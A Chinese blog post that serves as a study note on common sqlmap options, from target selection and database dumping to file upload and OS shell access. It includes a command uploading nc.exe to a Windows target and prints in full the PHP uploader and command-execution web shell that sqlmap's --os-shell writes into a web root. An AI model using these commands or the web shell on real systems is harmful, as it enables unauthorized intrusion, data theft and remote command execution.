Sqlmap常见命令

# Sqlmap常见命令

借着复习mysql的机会再重新复习一下sqlmap,因为参数太多了,我只记录一下自己常用的命令,如果想看详细大全,可以看一下大佬们的完整版

文章参考

https://blog.csdn.net/Breeze_CAT/article/details/80628392

https://blog.csdn.net/SHIGUANGTUJING/article/details/91429067

想了解sql注入流程的可以看一下

https://sherlocz.github.io/2019/06/29/sqlmap-p/

1.选项

-h,--help  显示基本帮助信息并退出
-hh  显示高级帮助信息并退出
--version  显示程序版本信息并退出

2.目标

在这些选项中必须提供至少有一个确定目标

-u  目标URL  
例:sqlmap -u "www.abc.com/index.php?id=1"
-m  后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
例:sqlmap -m target.txt
-r  可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。
例:sqlmap -r bp.txt

3.请求

这些选项可以用来指定如何连接到目标URL

--method=METHOD 指定是get方法还是post方法。
例: --method=GET --method=POST
--random-agent  使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
--proxy=PROXY 指定一个代理。
例: --proxy="127.0.0.1:8080" 使用GoAgent代理。

4.注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。

-p  测试参数
例:  sqlmap -r bp.txt -p "username"
--skip-static  跳过测试静态参数(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的)
--no-cast  获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。(这个在我们注入失败的时候偶尔会见到,提示尝试使用--no-cast)
--tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。

5.检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

--level=LEVEL  执行测试的等级(1-5,默认为1) 
lv2:cookie; lv3:user-agent,refere; lv5:host 
在sqlmap/xml/payloads文件内可以看见各个level发送的payload  我常使用--level 3
--risk=RISK  执行测试的风险(0-3,默认为1) 
risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。  常用就是默认1

6.枚举

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。 脱库时使用

-b, --banner        获取数据库管理系统的标识
--current-user      获取数据库管理系统当前用户
--current-db        获取数据库管理系统当前数据库
--hostname          获取数据库服务器的主机名称
--is-dba            检测DBMS当前用户是否DBA
--users             枚举数据库管理系统用户
--passwords         枚举数据库管理系统用户密码哈希
--privileges        枚举数据库管理系统用户的权限
--dbs			   枚举数据库管理系统数据库
--tables		   枚举DBMS数据库中的表
--columns		   枚举DBMS数据库表列
-D                  要进行枚举的指定数据库名
-T                  要进行枚举的指定表名
-C                  要进行枚举的指定列名
--dump			   转储数据库表项,查询字段值
--search  		   搜索列(S),表(S)和/或数据库名称(S)
--sql-query=QUERY   要执行的SQL语句
--sql-shell         提示交互式SQL的shell

7.文件操作

这些选项可以被用来访问后端数据库管理系统的底层文件系统

--file-read=RFILE     从后端的数据库管理系统文件系统读取文件
--file-write=WFILE    编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE     后端的数据库管理系统写入文件的绝对路径

在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:

python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write="/software/nc.exe" --file-dest="C:/WINDOWS/Temp/nc.exe"

8.操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统

--os-cmd=OSCMD   	执行操作系统命令(OSCMD)
--os-shell          交互式的操作系统的shell

os-shell的原理

文章参考

https://www.cnblogs.com/lcamry/p/5505110.html

当我们运行--os-shell的时候,首先要选择语言(默认为php)

1566890423408

然后需要输入网站的绝对路径,我的是默认目录/var/www/html/选1,如果需要自己输入的话选2

1566890510274

然后在/var/www/html下会多出两个php文件,这两个php文件就是--os-shell写入的shell文件

1566889930266

我们看一下内容

tmputade.php

<?php
if (isset($_REQUEST["upload"]))
{
	$dir=$_REQUEST["uploadDir"];
	if (phpversion()<'4.1.0')
	{
		$file=$HTTP_POST_FILES["file"]["name"];
		@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
	}
	else
	{
		$file=$_FILES["file"]["name"];
		@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
	}
	@chmod($dir."/".$file,0755);echo "File uploaded";
}
else 
{
	echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";
}
?>

实现的就是上传文件,同时根据phpversion,将上传的文件的权限进行修改。 (大概作用就是用来判断php版本?否则直接写入下面的执行脚本就好了,这个上传脚本不是多此一举吗?)

tmpbixkl.php

<?php 
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z))
{
	$z=preg_replace("/[, ]+/",',',$z);
	$z=explode(',',$z);
	$z=array_map("trim",$z);
}
else
{
	$z=array();
}
$c=$c." 2>&1\n";
function f($n)
{
	global $z;
	return is_callable($n)and!in_array($n,$z);
}
if(f("system"))
{
	ob_start();
	system($c);
	$w=ob_get_clean();
}
elseif(f("proc_open"))
{
	$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
	$w=NULL;
	while(!feof($t[1]))
	{
		$w.=fread($t[1],512);
	}
	@proc_close($y);
}
elseif(f("shell_exec"))
{
	$w=shell_exec($c);
}
elseif(f("passthru"))
{
	ob_start();
	passthru($c);
	$w=ob_get_clean();
}
elseif(f("popen"))
{
	$x=popen($c,r);
	$w=NULL;
	if(is_resource($x))
	{
		while(!feof($x))
		{
			$w.=fread($x,512);
		}
	}
	@pclose($x);
}
elseif(f("exec"))
{
	$w=array();
	exec($c,$w);
	$w=join(chr(10),$w).chr(10);
}
else{$w=0;}
echo"<pre>$w</pre>";?>

上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中 。

os-shell使用条件

  • 网站必须是root权限(current_user()='root')
  • 网站的绝对路径
  • GPC为off(默认为off)

网上说的都是这三个条件,可是我三个条件都满足了仍然无法使用os-shell,后来发现虽然数据库是root@localhost权限但是往系统里写文件时的权限是mysql而不是root

1566891862851

/var/www/html默认权限是755,除了root用户其他用户没有写的权限,就无法将上面的两个php文件写入目录里,所以使用条件只有这3个就可以吗?还是因为什么原因?这个还没想明白,先记录一下这个问题。

如果有错误或者知道原因的大佬希望可以评论一下,指出问题,感激不尽

posted @ 2019-08-27 15:59  sharp_ff  阅读(16652)  评论(0编辑  收藏  举报